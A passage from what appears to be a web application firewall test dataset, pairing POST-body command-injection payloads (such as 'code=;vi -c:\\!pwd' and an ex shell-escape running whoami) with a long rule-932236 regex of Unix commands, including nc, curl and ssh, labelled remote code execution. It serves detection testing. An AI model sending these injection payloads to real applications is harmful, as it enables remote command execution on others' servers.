ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;ex dddd +silent\\\\ \\!whoami +wq\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\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|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vi -c:\\!pwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\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|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[